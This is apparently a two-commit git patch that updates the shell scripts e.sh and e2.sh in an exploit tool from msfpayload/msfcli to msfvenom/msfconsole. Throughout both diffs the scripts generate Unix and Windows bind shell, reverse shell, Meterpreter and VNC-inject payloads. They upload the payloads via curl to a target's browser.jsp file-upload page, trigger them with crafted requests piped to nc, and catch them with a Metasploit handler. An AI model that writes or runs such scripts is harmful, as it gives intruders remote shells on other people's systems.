From b506284f4d5ef9b9def5f45ffd32ab14ef129c72 Mon Sep 17 00:00:00 2001 From: MSWeb-n1x <55712643+MSWeb-n1x@users.noreply.github.com> Date: Mon, 23 Sep 2019 20:40:45 +0200 Subject: [PATCH 1/2] Updated msfpayload to msfvenom --- e.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/e.sh b/e.sh index 5ada136..3b3d0d1 100755 --- a/e.sh +++ b/e.sh @@ -56,7 +56,7 @@ if [ $shell == "bind" ] then printf "[!] On which port would you like the bindshell to listen on? " read port -framework3/msfpayload cmd/unix/bind_perl LPORT=$port R >payload +msfvenom -p cmd/unix/bind_perl LPORT=$port R > payload printf "[x] Uploading bind shell payload..\n" curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null printf "[x] Verifying if upload was successful...\n" @@ -80,7 +80,7 @@ then myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1` printf "[!] On which port would you like to accept the reverse shell on? " read port -framework3/msfpayload cmd/unix/reverse_perl LHOST=$myip LPORT=$port R >payload +msfvenom -p cmd/unix/reverse_perl LHOST=$myip LPORT=$port R > payload printf "[x] Uploading reverse shell payload..\n" curl -F "dir=/tmp" -F "sort=1" -F "name=MyFile" -F "filename=@payload" -F "Submit=Upload" http://$1:$2/browser/browser/browser.jsp 1>/dev/null 2>/dev/null printf "[x] Verifying if upload was successful...\n" From 9c7a8a77f4b86627b719efd7c637ffc59eae9380 Mon Sep 17 00:00:00 2001 From: MSWeb-n1x <55712643+MSWeb-n1x@users.noreply.github.com> Date: Mon, 23 Sep 2019 21:13:51 +0200 Subject: [PATCH 2/2] Updated msfcli and msfpayload - no longer used --- e2.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/e2.sh b/e2.sh index 8898670..f1b2ac3 100755 --- a/e2.sh +++ b/e2.sh @@ -55,7 +55,7 @@ if [ $shell == "bind" ] then printf "[x] On which port would you like your bindshell to listen? " read port -framework3/msfpayload windows/shell_bind_tcp LPORT=$port X >payload.exe +msfvenom -p windows/shell_bind_tcp LPORT=$port R > payload.exe printf "[x] Uploading bindshell payload..\n" curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null rm -rf payload.exe @@ -73,7 +73,7 @@ printf "[x] Now executing bind shell...\n" sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null printf "[x] Executed bindshell!\n" printf "[x] Reverting to metasploit....\n" -framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell_bind_tcp LPORT=$port RHOST=$1 E +msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/shell_bind_tcp; set LPORT $port; set RHOST $1; run" fi fi @@ -82,7 +82,7 @@ then myip=`ifconfig -a | grep -i "inet" | cut -d: -f2 | awk '{print $1}' | head -n1` printf "[x] On which port would you like to accept your reverse shell? " read port -framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port X >payload.exe +msfvenom -p windows/meterpreter/reverse_tcp LHOST=$myip LPORT=$port R > payload.exe printf "[x] Uploading reverseshell payload..\n" curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null rm -rf payload.exe @@ -111,7 +111,7 @@ if [ $shell == "vnc" ] then printf "[x] On which port would you like your vnc shell to listen? " read port -framework3/msfpayload windows/vncinject/bind_tcp LPORT=$port X >payload.exe +msfvenom -p windows/vncinject/bind_tcp LPORT=$port R > payload.exe printf "[x] Uploading vnc shell payload..\n" curl -F "dir=c:\\" -F "sort=1" -F "name=MyFile" -F "filename=@payload.exe" -F "Submit=Upload" http://$1:$2/browserwin/browser/Browser.jsp 1>/dev/null 2>/dev/null rm -rf payload.exe @@ -129,7 +129,7 @@ printf "[x] Now executing vnc shell...\n" sed "s/hostx/$1/g" execute/req1.win | sed "s/portx/$2/g" | sed "s/cookiex/$browsercookie/g" | sed -e "s/dir/c:\\\\payload.exe/g" | sed -e "s/46/60/g" | nc $1 $2 1>/dev/null 2>/dev/null printf "[x] Executed vnc shell!\n" printf "[x] Reverting to metasploit....\n" -framework3/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=$port RHOST=$1 DisableCourtesyShell=TRUE E +msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/vncinject/bind_tcp; set LPORT $port; set RHOST $1; set DisableCourtesyShell TRUE; run" fi fi